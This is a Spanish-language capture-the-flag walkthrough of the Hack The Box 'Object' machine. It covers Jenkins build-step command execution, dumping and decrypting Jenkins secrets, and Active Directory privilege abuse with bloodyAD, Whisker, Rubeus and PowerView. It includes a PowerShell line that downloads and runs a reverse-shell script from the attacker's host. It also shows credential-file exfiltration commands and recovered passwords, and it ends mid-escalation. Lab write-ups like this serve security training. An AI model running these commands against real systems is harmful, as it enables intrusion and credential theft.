Hack The Box: Object Writeup | Hard

Table of Contents

Hack The Box: Object Writeup

Welcome to my detailed writeup of the hard difficulty machine “Object” on Hack The Box. This writeup will cover the steps taken to achieve initial foothold and escalation to root.

TCP Enumeration

1$ rustscan -a 10.129.96.147 --ulimit 5000 -g
210.129.96.147 -> [80,5985,8080]
 1$ nmap -p80,5985,8080 -sCV 10.129.96.147 -oN allPorts
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 21:37 CEST
 3Nmap scan report for 10.129.96.147
 4Host is up (0.036s latency).
 5
 6PORT     STATE SERVICE VERSION
 780/tcp   open  http    Microsoft IIS httpd 10.0
 8|_http-title: Mega Engines
 9|_http-server-header: Microsoft-IIS/10.0
10| http-methods: 
11|_  Potentially risky methods: TRACE
125985/tcp open  http    Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
13|_http-server-header: Microsoft-HTTPAPI/2.0
14|_http-title: Not Found
158080/tcp open  http    Jetty 9.4.43.v20210629
16| http-robots.txt: 1 disallowed entry 
17|_/
18|_http-server-header: Jetty(9.4.43.v20210629)
19|_http-title: Site doesn't have a title (text/html;charset=utf-8).
20Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
21
22Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
23Nmap done: 1 IP address (1 host up) scanned in 12.88 seconds

UDP Enumeration

 1$ sudo nmap --top-ports 1500 -sU --min-rate 5000 -n -Pn 10.129.96.147 -oN allPorts.UDP
 2Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-09-01 21:37 CEST
 3Nmap scan report for 10.129.96.147
 4Host is up (0.047s latency).
 5Not shown: 1497 open|filtered udp ports (no-response)
 6PORT    STATE SERVICE
 753/udp  open  domain
 888/udp  open  kerberos-sec
 9123/udp open  ntp
10
11Nmap done: 1 IP address (1 host up) scanned in 1.00 seconds

Del escaneo inicial podemos detectar que nos enfrentamos a un entorno de directorio activo ya que vemos el puerto 88/UDP abierto (Kerberos), puede no ser directorio activo pero lo podemos suponer.

Además vemos expuesto el servicio de WinRM y dos servicios web.

HTTP Enumeration

whatweb nos reporta el dominio object.htb, lo añadimos al /etc/hosts

1$ whatweb http://10.129.96.147
2http://10.129.96.147 [200 OK] Country[RESERVED][ZZ], Email[ideas@object.htb], HTML5, HTTPServer[Microsoft-IIS/10.0], IP[10.129.96.147], JQuery[2.1.3], Microsoft-IIS[10.0], Modernizr, Script, Title[Mega Engines]

Así se ve el sitio web, no tiene ninguna funcionalidad. Write-up Image

Tiene un hipervínculo al servicio del puerto 8080/TCP que corresponde con una instancia de Jenkins

Write-up Image

Está habilitado el registro de usuarios, vamos a crearnos una cuenta. Write-up Image

Write-up Image

No podemos acceder a la ruta /script ya que es solo para administradores.

Podemos crear un nuevo proyecto para mediante la sección de Build especificar que se ejecute un comando a nivel de sistema a la hora de compilar el proyecto. Write-up Image

Vamos a especificar que se haga un ping a mi sistema a modo de prueba. Write-up Image

Pero no me da la opción para poder compilar el proyecto. Write-up Image

Building The Jenkins Project -> RCE

Buscando un poco me encontré lo siguiente:

  • If Build now button doesn’t appear, you can still go to configure –> Build Triggers –> Build periodically and set a cron of * * * * *

  • Instead of using cron, you can use the config “Trigger builds remotely” where you just need to set a the api token name to trigger the job. Then go to your user profile and generate an API token (call this API token as you called the api token to trigger the job). Finally, trigger the job with: **curl <username>:<api_token>@<jenkins_url>/job/<job_name>/build?token=<api_token_name>**

Establecemos el tiempo por cada ejecución, cada minuto. Write-up Image

Y conseguimos ejecución remota de comandos.

121:57:58.440906 IP 10.10.14.108 > object.htb: ICMP echo reply, id 1, seq 3227, length 40  
221:57:59.456503 IP object.htb > 10.10.14.108: ICMP echo request, id 1, seq 3230, length 40
321:57:59.456528 IP 10.10.14.108 > object.htb: ICMP echo reply, id 1, seq 3230, length 40  
421:58:00.472438 IP object.htb > 10.10.14.108: ICMP echo request, id 1, seq 3234, length 40

Al intentar mandarnos una reverse shell.

1powershell -exec bypass -c "(New-Object Net.WebClient).Proxy.Credentials=[Net.CredentialCache]::DefaultNetworkCredentials;iwr('http://10.10.14.108:8081/Invoke-PowerShellTcp.ps1')|iex"

Nos indica que no ha sido capaz de conectarse a un servidor remoto, por lo cual puede que se estén bloqueando las conexiones. Write-up Image

Probando con una reverse shell de revshells.com

Vemos que también está bloqueado. Write-up Image

Dumping Jenkins Secrets -> Foothold

Podemos intentar dumpear los “secrets” de Jenkins. Lo había hecho anteriormente accediendo a través de la consola de Groovy pero esta vez no tenemos acceso a esta consola, pero podemos intentar acceder a los archivos internos a través del RCE para conseguir las claves de encriptación y los secrets.

Primero necesitamos saber donde está instalado esta instancia de Jenkins.

Viendo los errores descubrimos fácilmente donde está instalada esta instancia. Write-up Image

Podemos cambiar el comando del Build a dir C:\Users\oliver\AppData\Local\Jenkins\.jenkins\ y cuando se intenta compilar vemos el output por consola.

Vemos el directorio secrets, vamos a listar que hay aquí dentro. Según la documentación debería de haber dos archivos.

Write-up Image

Aquí los vemos. Write-up Image

Vamos a ver el contenido del hudson.util.Secret Write-up Image

Vemos que no es legible, así que vamos a convertirlo a base64 para copiarlo a nuestra máquina. Write-up Image

1powershell -Command "[Convert]::ToBase64String([IO.File]::ReadAllBytes('C:\Users\oliver\AppData\Local\Jenkins\.jenkins\secrets\hudson.util.Secret'))"

Y aquí lo tenemos. Write-up Image

Ahora en nuestra máquina.

1$ echo "gWFQFlTxi+xRdwcz6KgADwG+rsOAg2e3omR3LUopDXUcTQaGCJIswWKIbqgNXAvu2SHL93OiRbnEMeKqYe07PqnX9VWLh77Vtf+Z3jgJ7sa9v3hkJLPMWVUKqWsaMRHOkX30Qfa73XaWhe0ShIGsqROVDA1gS50ToDgNRIEXYRQWSeJY0gZELcUFIrS+r+2LAORHdFzxUeVfXcaalJ3HBhI+Si+pq85MKCcY3uxVpxSgnUrMB5MX4a18UrQ3iug9GHZQN4g6iETVf3u6FBFLSTiyxJ77IVWB1xgep5P66lgfEsqgUL9miuFFBzTsAkzcpBZeiPbwhyrhy/mCWogCddKudAJkHMqEISA3et9RIgA=" | base64 -d > hudson.util.Secret
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/object/content]
3└──╼ [★]$ cat hudson.util.Secret 
4\,bnw3Àgdw-J)
5 !sE1a;>Uյ8     xd$YU
6k1Α}Av
7DaIXD-"Gt\Q_]ƚ>J/L('UJ|R7=vP7:D{KI8Ğ!UXʠPfE4Lܤ^*ZuҮtdʄ! 7zQ"

Ahora vamos con el fichero master.key, hacemos lo mismo.. Write-up Image

1$ echo "ZjY3M2ZkYjBjNGZjYzMzOTA3MDQzNWJkYmUxYTAzOWQ4M2E1OTdiZjIxZWFmYmI3ZjliMzViNTBmY2UwMDZlNTY0Y2ZmNDU2NTUzZWQ3M2NiMWZhNTY4YjY4YjMxMGFkZGM1NzZmMTYzN2E3ZmU3MzQxNGE0YzZmZjEwYjRlMjNhZGM1MzhlOWIzNjlhMGM2ZGU4ZmMyOTlkZmEyYTM5MDRlYzczYTI0YWE0ODU1MGIyNzZiZTUxZjkxNjU2Nzk1OTViMmNhYzAzY2MyMDQ0ZjNjNzAyZDY3NzE2OWUyZjRkM2JkOTZkODMyMWEyZTE5ZTJiZjBjNzZmZTMxZGIxOQ==" | base64 -d > master.key
2┌─[192.168.1.52]─[pointedsec@parrot]─[~/Desktop/object/content]
3└──╼ [★]$ cat master.key 
4f673fdb0c4fcc339070435bdbe1a039d83a597bf21eafbb7f9b35b50fce006e564cff456553ed73cb1fa568b68b310addc576f1637a7fe73414a4c6ff10b4e23adc538e9b369a0c6de8fc299dfa2a3904ec73a24aa48550b276be51f9165679595b2cac03cc2044f3c702d677169e2f4d3bd96d8321a2e19e2bf0c76fe31db19

Ahora, solo hace falta dumpear los secretos y rezar para que exista alguno.

No hay ni rastro del fichero credentials.xml y por alguna razón la máquina dejó de compilar el proyecto, por lo cual tuve que reiniciar la máquina.

Vemos un directorio \users\

Que contiene mi usuario y al usuario administrador, vamos a ver que hay dentro de ese directorio. Write-up Image

Vemos que hay un archivo config.xml, vamos a ver que contiene. Write-up Image

Y vemos varias cosas interesantes.

 1<?xml version='1.1' encoding='UTF-8'?>
 2<user>
 3  <version>10</version>
 4  <id>admin</id>
 5  <fullName>admin</fullName>
 6  <properties>
 7    <com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty plugin="credentials@2.6.1">
 8      <domainCredentialsMap class="hudson.util.CopyOnWriteMap$Hash">
 9        <entry>
10          <com.cloudbees.plugins.credentials.domains.Domain>
11            <specifications/>
12          </com.cloudbees.plugins.credentials.domains.Domain>
13          <java.util.concurrent.CopyOnWriteArrayList>
14            <com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
15              <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
16              <description></description>
17              <username>oliver</username>
18              <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
19              <usernameSecret>false</usernameSecret>
20            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
21          </java.util.concurrent.CopyOnWriteArrayList>
22        </entry>
23      </domainCredentialsMap>
24    </com.cloudbees.plugins.credentials.UserCredentialsProvider_-UserCredentialsProperty>
25    <hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty plugin="email-ext@2.84">
26      <triggers/>
27    </hudson.plugins.emailext.watching.EmailExtWatchAction_-UserProperty>
28    <hudson.model.MyViewsProperty>
29      <views>
30        <hudson.model.AllView>
31          <owner class="hudson.model.MyViewsProperty" reference="../../.."/>
32          <name>all</name>
33          <filterExecutors>false</filterExecutors>
34          <filterQueue>false</filterQueue>
35          <properties class="hudson.model.View$PropertyList"/>
36        </hudson.model.AllView>
37      </views>
38    </hudson.model.MyViewsProperty>
39    <org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty plugin="display-url-api@2.3.5">
40      <providerId>default</providerId>
41    </org.jenkinsci.plugins.displayurlapi.user.PreferredProviderUserProperty>
42    <hudson.model.PaneStatusProperties>
43      <collapsed/>
44    </hudson.model.PaneStatusProperties>
45    <jenkins.security.seed.UserSeedProperty>
46      <seed>ea75b5bd80e4763e</seed>
47    </jenkins.security.seed.UserSeedProperty>
48    <hudson.search.UserSearchProperty>
49      <insensitiveSearch>true</insensitiveSearch>
50    </hudson.search.UserSearchProperty>
51    <hudson.model.TimeZoneProperty/>
52    <hudson.security.HudsonPrivateSecurityRealm_-Details>
53      <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
54    </hudson.security.HudsonPrivateSecurityRealm_-Details>
55    <hudson.tasks.Mailer_-UserProperty plugin="mailer@1.34">
56      <emailAddress>admin@object.local</emailAddress>
57    </hudson.tasks.Mailer_-UserProperty>
58    <jenkins.security.ApiTokenProperty>
59      <tokenStore>
60        <tokenList/>
61      </tokenStore>
62    </jenkins.security.ApiTokenProperty>
63    <jenkins.security.LastGrantedAuthoritiesProperty>
64      <roles>
65        <string>authenticated</string>
66      </roles>
67      <timestamp>1634793332195</timestamp>
68    </jenkins.security.LastGrantedAuthoritiesProperty>
69  </properties>
70</user>

Vemos este apartado que contiene la contraseña de un usuario llamado oliver, algo extraño.

1<com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>
2              <id>320a60b9-1e5c-4399-8afe-44466c9cde9e</id>
3              <description></description>
4              <username>oliver</username>
5              <password>{AQAAABAAAAAQqU+m+mC6ZnLa0+yaanj2eBSbTk+h4P5omjKdwV17vcA=}</password>
6              <usernameSecret>false</usernameSecret>
7            </com.cloudbees.plugins.credentials.impl.UsernamePasswordCredentialsImpl>

Pero a parte vemos otro hash bcrypt, este hash no consigo crackearlo con hashcat

1	 <hudson.security.HudsonPrivateSecurityRealm_-Details>
2      <passwordHash>#jbcrypt:$2a$10$q17aCNxgciQt8S246U4ZauOccOY7wlkDih9b/0j4IVjZsdjUNAPoW</passwordHash>
3    </hudson.security.HudsonPrivateSecurityRealm_-Details>

Podemos meter todo el XML a un archivo llamado credentials.xml y teniendo las claves de encriptación anteriormente encontradas master.key y hudson.util.Secret podemos desencriptar esa credencial junto con este script de python

1$ python3 jenkins_offline_decrypt.py master.key hudson.util.Secret users.xml 
2c1cdfun_d2434

Y vemos que podemos acceder a través de WinRM como el usuario oliver

1$ nxc winrm 10.129.246.207 -u 'oliver' -p 'c1cdfun_d2434'
2WINRM       10.129.246.207  5985   JENKINS          [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
3WINRM       10.129.246.207  5985   JENKINS          [+] object.local\oliver:c1cdfun_d2434 (Pwn3d!)

Ahora con evil-winrm podemos ganar una consola interactiva.

 1$ evil-winrm -i 10.129.246.207 -u 'oliver' -p 'c1cdfun_d2434'
 2                                        
 3Evil-WinRM shell v3.5
 4                                        
 5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
 6                                        
 7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 8                                        
 9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\oliver\Documents> whoami
11object\oliver

Y podemos ver la flag de usuario.

1*Evil-WinRM* PS C:\Users\oliver\Desktop> type user.txt
263dce506ee5e...

User Pivoting

El usuario oliver no pertenece a ningún grupo interesante ni tiene ningún privilegio interesante.

 1*Evil-WinRM* PS C:\Users\oliver\Desktop> whoami /groups
 2
 3GROUP INFORMATION
 4-----------------
 5
 6Group Name                                  Type             SID          Attributes
 7=========================================== ================ ============ ==================================================
 8Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
 9BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
10BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
11BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
12NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
13NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
14NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
15NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
16Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448
17*Evil-WinRM* PS C:\Users\oliver\Desktop> whoami /priv
18
19PRIVILEGES INFORMATION
20----------------------
21
22Privilege Name                Description                    State
23============================= ============================== =======
24SeMachineAccountPrivilege     Add workstations to domain     Enabled
25SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
26SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

Vemos un usuario maria

1*Evil-WinRM* PS C:\Users\oliver\Desktop> net user
2
3User accounts for \\
4
5-------------------------------------------------------------------------------
6Administrator            Guest                    krbtgt
7maria                    oliver
8The command completed with one or more errors.

No vemos que maria pertenezca a ningún grupo interesante a parte del Remote Management Users.

 1*Evil-WinRM* PS C:\Users\oliver\Desktop> net user maria
 2User name                    maria
 3Full Name                    maria garcia
 4Comment
 5User's comment
 6Country/region code          000 (System Default)
 7Account active               Yes
 8Account expires              Never
 9
10Password last set            10/21/2021 9:16:32 PM
11Password expires             Never
12Password changeable          10/22/2021 9:16:32 PM
13Password required            Yes
14User may change password     Yes
15
16Workstations allowed         All
17Logon script
18User profile
19Home directory
20Last logon                   9/1/2024 11:55:10 AM
21
22Logon hours allowed          All
23
24Local Group Memberships      *Remote Management Use
25Global Group memberships     *Domain Users
26The command completed successfully.

También vemos que existe el directorio personal de trabajo de otro usuario llamado smith

 1*Evil-WinRM* PS C:\Users> dir
 2
 3
 4    Directory: C:\Users
 5
 6
 7Mode                LastWriteTime         Length Name
 8----                -------------         ------ ----
 9d-----       11/10/2021   3:20 AM                Administrator
10d-----       10/26/2021   7:59 AM                maria
11d-----       10/26/2021   7:58 AM                oliver
12d-r---        4/10/2020  10:49 AM                Public
13d-----       10/21/2021   3:44 AM                smith

Pero no podemos listar información de este usuario.

1*Evil-WinRM* PS C:\Users> net user smith
2net.exe : System error 5 has occurred.
3    + CategoryInfo          : NotSpecified: (System error 5 has occurred.:String) [], RemoteException
4    + FullyQualifiedErrorId : NativeCommandError
5Access is denied.

Bloodhound

Vamos a pasar el Sharphound para hacer la posterior enumeración utilizando Bloodhound a ver si encontramos algo interesante.

Podemos hacer uso de la función upload interna que tiene evil-winrm para poder subir el binario de SharpHound

1*Evil-WinRM* PS C:\Windows\Temp\work> upload SharpHound.exe
2                                        
3Info: Uploading /home/pointedsec/Desktop/object/content/SharpHound.exe to C:\Windows\Temp\work\SharpHound.exe
4                                        
5Data: 1402880 bytes of 1402880 bytes copied
6                                        
7Info: Upload successful!

Ejecutamos el SharpHound

1*Evil-WinRM* PS C:\Windows\Temp\work> .\SharpHound.exe -c All 

Cuando termine, vemos que nos ha generado un archivo .zip.

 1*Evil-WinRM* PS C:\Windows\Temp\work> dir
 2
 3
 4    Directory: C:\Windows\Temp\work
 5
 6
 7Mode                LastWriteTime         Length Name
 8----                -------------         ------ ----
 9-a----         9/1/2024  12:19 PM          11385 20240901121934_BloodHound.zip
10-a----         9/1/2024  12:19 PM           7897 MWU2MmE0MDctMjBkZi00N2VjLTliOTMtYThjYTY4MjdhZDA2.bin
11-a----         9/1/2024  12:17 PM        1052160 SharpHound.exe

Nos lo descargamos haciendo uso de la función download interna que tiene evil-winrm

1Evil-WinRM* PS C:\Windows\Temp\work> download 20240901121934_BloodHound.zip
2                                        
3Info: Downloading C:\Windows\Temp\work\20240901121934_BloodHound.zip to 20240901121934_BloodHound.zip
4                                        
5Info: Download successful!

Iniciamos la base de datos neo4j ya que es la que utiliza Bloodhound e iniciamos Bloodhound.

 1$ sudo neo4j start
 2Directories in use:
 3home:         /usr/share/neo4j
 4config:       /usr/share/neo4j/conf
 5logs:         /etc/neo4j/logs
 6plugins:      /usr/share/neo4j/plugins
 7import:       /usr/share/neo4j/import
 8data:         /etc/neo4j/data
 9certificates: /usr/share/neo4j/certificates
10licenses:     /usr/share/neo4j/licenses
11run:          /var/lib/neo4j/run
12Starting Neo4j.
13Started neo4j (pid:7623). It is available at http://localhost:7474
14There may be a short delay until the server is ready.

Cargamos el archivo zip en el bloodhound Write-up Image

Marcamos al usuario oliver como owned. Write-up Image

Y rápidamente detectamos un vector de ataque. Write-up Image

El usuario oliver tiene el atributo ForceChangePassword hacía el usuario smith, esto significa que podemos cambiar la contraseña de smith.

smith a su vez tiene el atributo GenericWrite sobre el usuario maria que significa que podemos escribir cualquier atributo no protegido en el objeto víctima por lo cual podríamos crear una Shadow Credential para poder autenticarnos como maria sin necesidad de cambiar la contraseña.

Y para terminar maria tiene el atributo WriteOwner sobre el grupo Domain Admins que significa que maria puede modificar al propietario de este grupo que es Administrator y podríamos agregar a otro usuario como propietario.

Pero vamos pasito a pasito.

Abusing ForceChangePassword

Vamos a utilizar bloodyAD para realizar este paso de nuestro vector de ataque ya que es como una navaja suiza para los movimientos laterales y escalada de privilegios en Active Directory. https://github.com/CravateRouge/bloodyAD

Lo subimos a la máquina víctima.

1*Evil-WinRM* PS C:\Windows\Temp\work> upload bloodyAD.exe
2                                        
3Info: Uploading /home/pointedsec/Desktop/object/content/bloodyAD.exe to C:\Windows\Temp\work\bloodyAD.exe
4                                        
5Data: 17932052 bytes of 17932052 bytes copied
6                                        
7Info: Upload successful!

Podemos intentar cambiar la contraseña de smith

1*Evil-WinRM* PS C:\Windows\Temp\work> .\bloodyAD.exe --host 127.0.0.1 -d object.htb set password "smith" "Pointed123@"
2bloodyAD.exe : unicrypto\backends\cryptography\RC4.py:13: CryptographyDeprecationWarning: ARC4 has been moved to cryptography.hazmat.decrepit.ciphers.algorithms.ARC4 and will be removed from this module in 48.0.0.
3    + CategoryInfo          : NotSpecified: (unicrypto\backe...dule in 48.0.0.:String) [], RemoteException
4    + FullyQualifiedErrorId : NativeCommandError
5[+] Password changed successfully!

Y podemos comprobar que la hemos cambiado correctamente.

1$ nxc winrm 10.129.246.207 -u 'smith' -p 'Pointed123@'
2WINRM       10.129.246.207  5985   JENKINS          [*] Windows 10 / Server 2019 Build 17763 (name:JENKINS) (domain:object.local)
3WINRM       10.129.246.207  5985   JENKINS          [+] object.local\smith:Pointed123@ (Pwn3d!)

Y ganamos acceso como smith

 1$ evil-winrm -i 10.129.246.207 -u 'smith' -p 'Pointed123@'
 2                                        
 3Evil-WinRM shell v3.5
 4                                        
 5Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
 6                                        
 7Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
 8                                        
 9Info: Establishing connection to remote endpoint
10*Evil-WinRM* PS C:\Users\smith\Documents> whoami
11object\smith

Abusing GenericWrite -> Shadow Credentials (Failed)

Para abusar este privilegio, podríamos utilizar pyWhisker, con esta herramienta podemos manipular el atributo msDS-KeyCredentialLink del usuario/equipo víctima para conseguir control completo sobre ese objeto pero ya hemos visto en el escaneo inicial que hay muy pocos puertos abiertos y no tenemos abierto ni el RPC ni el LDAP externamente.

Con chisel podríamos hacer un proxy tipo socks para compartirnos los puertos que necesitemos pero recordemos que existen limitaciones de seguridad por detrás, así que vamos a utilizar Whisker y Rubeus para agregar las Shadow Credentials a maria

Nos podemos descargar el binario de Whisker.exe precompilado aquí

Lo subimos a la máquina víctima.

1*Evil-WinRM* PS C:\Users\smith\Documents> upload Whisker.exe
2                                        
3Info: Uploading /home/pointedsec/Desktop/object/content/Whisker.exe to C:\Users\smith\Documents\Whisker.exe
4                                        
5Data: 59392 bytes of 59392 bytes copied
6                                        
7Info: Upload successful!

Ahora subimos el Rubeus

1*Evil-WinRM* PS C:\Users\smith\Documents> upload Rubeus.exe
2                                        
3Info: Uploading /home/pointedsec/Desktop/object/content/Rubeus.exe to C:\Users\smith\Documents\Rubeus.exe
4                                        
5Data: 617128 bytes of 617128 bytes copied
6                                        
7Info: Upload successful!

Ahora creamos con Whisker la shadow cred, se nos creará un certificado para poder solicitar posteriormente con Rubeus un TGT como maría y poder conseguir el hash.

 1*Evil-WinRM* PS C:\Users\smith\Documents> .\Whisker.exe add /target:maria /path:cert.pfx /dc:127.0.0.1
 2[*] No pass was provided. The certificate will be stored with the password T7mQzob9bpSWr1cQ
 3[*] Searching for the target account
 4[*] Target user found: CN=maria garcia,CN=Users,DC=object,DC=local
 5[*] Generating certificate
 6[*] Certificate generaged
 7[*] Generating KeyCredential
 8[*] KeyCredential generated with DeviceID 59d02765-9df6-4a4a-a789-eb8994d9770e
 9[*] Updating the msDS-KeyCredentialLink attribute of the target object
10[+] Updated the msDS-KeyCredentialLink attribute of the target object
11[*] Saving the associated certificate to file...
12[*] The associated certificate was saved to cert.pfx
13[*] You can now run Rubeus with the following syntax:
14
15Rubeus.exe asktgt /user:maria /certificate:cert.pfx /password:"T7mQzob9bpSWr1cQ" /domain:object.local /dc:127.0.0.1 /getcredentials /show
16*Evil-WinRM* PS C:\Users\smith\Documents> .\Rubeus.exe asktgt /user:maria /certificate:cert.pfx /password:"T7mQzob9bpSWr1cQ" /domain:object.local /dc:127.0.0.1 /getcredentials /show
17
18   ______        _
19  (_____ \      | |
20   _____) )_   _| |__  _____ _   _  ___
21  |  __  /| | | |  _ \| ___ | | | |/___)
22  | |  \ \| |_| | |_) ) ____| |_| |___ |
23  |_|   |_|____/|____/|_____)____/(___/
24
25  v2.3.2
26
27[*] Action: Ask TGT
28
29[*] Using PKINIT with etype rc4_hmac and subject: CN=maria
30[*] Building AS-REQ (w/ PKINIT preauth) for: 'object.local\maria'
31[*] Using domain controller: 127.0.0.1:88
32
33[X] KRB-ERROR (16) : KDC_ERR_PADATA_TYPE_NOSUPP

Vemos un error, KDC_ERR_PADATA_TYPE_NOSUPP

The error “KDC_ERR_PADATA_TYPE_NOSUPP” simply means that the KDC is not set up for Kerberos authentication

Tenemos otras opciones para abusar el privilegio GenericWrite, podemos establecer un SPN al usuario para posteriormente kerberoastearlo e intentar crackear el hash, o podemos establecer un script que se ejecutará como este usuario la próxima vez que inicie sesión.

  • We can set a service principal name and we can kerberoast that account.

  • We can set objects like logon script which would get executed on the next time account logs in.

En el bloodhound podemos ver que maria tiene una sesión iniciada. Write-up Image

Antes de hacer lo de la sesión iniciada, vamos a hacer este usuario kerberoasteable para ver si podemos conseguir su credencial, quizás nos pueda servir.

Ahora este usuario ya tiene un SPN.

1*Evil-WinRM* PS C:\Users\smith\Documents> setspn -a object.local/maria.object.local:1337 object.local\maria
2Checking domain DC=object,DC=local
3
4Registering ServicePrincipalNames for CN=maria garcia,CN=Users,DC=object,DC=local
5        object.local/maria.object.local:1337
6Updated object

Al intentar realizar el ataque con Rubeus

 1*Evil-WinRM* PS C:\Users\smith\Documents> .\Rubeus.exe kerberoast /outfile:hashes.kerberoast               
 2
 3   ______        _
 4  (_____ \      | |
 5   _____) )_   _| |__  _____ _   _  ___
 6  |  __  /| | | |  _ \| ___ | | | |/___)
 7  | |  \ \| |_| | |_) ) ____| |_| |___ |
 8  |_|   |_|____/|____/|_____)____/(___/
 9
10  v2.3.2
11
12
13[*] Action: Kerberoasting
14
15[*] NOTICE: AES hashes will be returned for AES-enabled accounts.
16[*]         Use /ticket:X or /tgtdeleg to force RC4_HMAC for these accounts.
17
18[*] Target Domain          : object.local
19[*] Searching path 'LDAP://jenkins.object.local/DC=object,DC=local' for '(&(samAccountType=805306368)(servicePrincipalName=*)(!samAccountName=krbtgt)(!(UserAccountControl:1.2.840.113556.1.4.803:=2)))'
20
21[*] Total kerberoastable users : 1
22
23
24[*] SamAccountName         : maria
25[*] DistinguishedName      : CN=maria garcia,CN=Users,DC=object,DC=local
26[*] ServicePrincipalName   : object.local/test:1337
27[*] PwdLastSet             : 10/21/2021 9:16:32 PM
28[*] Supported ETypes       : RC4_HMAC_DEFAULT
29
30 [X] Error during request for SPN object.local/test:1337@object.local : No credentials are available in the security package
31
32[*] Roasted hashes written to : C:\Users\smith\Documents\hashes.kerberoast

Vemos un error, No credentials are available in the security package

This can happen if a user is a “Protected Users” group member, and integrated Windows authentication is disabled for this user. See Microsoft’s KB for more details.

Así que vamos a cambiar el scriptpath de maria para que cuando inicie sesión se ejecute un script personalizado.

Primero creamos un objeto de credenciales para el usuario smith

1*Evil-WinRM* PS C:\Users\smith\Documents> $SecPassword = ConvertTo-SecureString 'Pointed123@' -AsPlainText -Force
1*Evil-WinRM* PS C:\Users\smith\Documents> $Cred = New-Object System.Management.Automation.PSCredential('object.local\smith', $SecPassword)

Ahora creamos un script de prueba llamado test.ps1 que cuando se ejecute simplemente creará un archivo poc.txt

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo 'whoami > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > test.ps1

Ahora necesitamos PowerView.ps1 de suite de PowerSploit, esto trae muchas herramientas definidas en módulos de PowerShell para reconocimiento y escalada de privilegios en entornos de directorio activo.

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> upload PowerView.ps1
2                                        
3Info: Uploading /home/pointedsec/Desktop/object/content/PowerView.ps1 to C:\Windows\System32\spool\drivers\color\PowerView.ps1
4                                        
5Data: 1027036 bytes of 1027036 bytes copied
6                                        
7Info: Upload successful!

Importamos PowerView.ps1

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Import-Module .\PowerView.ps1

Y ahora utilizando el objeto $Cred que hemos creado anteriormente, cambiamos el scriptpath a nuestro script personalizado para el usuario maria

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\foo.ps1'}

¡Y vemos que funciona!

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> type poc.txt
2object\maria

No podemos enviarnos una revshell como maria por las limitaciones del firewall.

Vamos a listar que tiene en su directorio personal de trabajo por si encontramos algo interesante.

1Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo 'ls -force -s C:\Users\maria\ > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > test.ps1

Cambiamos otra vez el scriptpath por si hay algún script que lo reestablece, algo común en HackTheBox.

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\test.ps1'}

Abajo del todo del archivo vemos lo siguiente, un archivo Engines.xls Write-up Image

Vamos a copiarnos este archivo.

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> echo 'copy C:\Users\maria\Desktop\Engines.xls C:\Windows\System32\spool\drivers\color\Engines.xls > C:\\Windows\\System32\\spool\\drivers\\color\\poc.txt' > test.ps1

Cambiamos otra vez el scriptpath

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> Set-DomainObject -Credential $Cred -Identity maria -SET @{scriptpath='C:\\Windows\\System32\\spool\\drivers\\color\\test.ps1'}

Ahora vamos a inspeccionar este fichero en nuestra máquina.

1*Evil-WinRM* PS C:\Windows\System32\spool\drivers\color> download Engines.xls
2                                        
3Info: Downloading C:\Windows\System32\spool\drivers\color\Engines.xls to Engines.xls
4                                        
5Info: Download successful!

Y vemos varias credenciales para este usuario.. Write-up Image

Podemos probar estas credenciales con netexec

1$ nxc winrm 10.129.246.207 -u 'maria' -p credentials.txt 
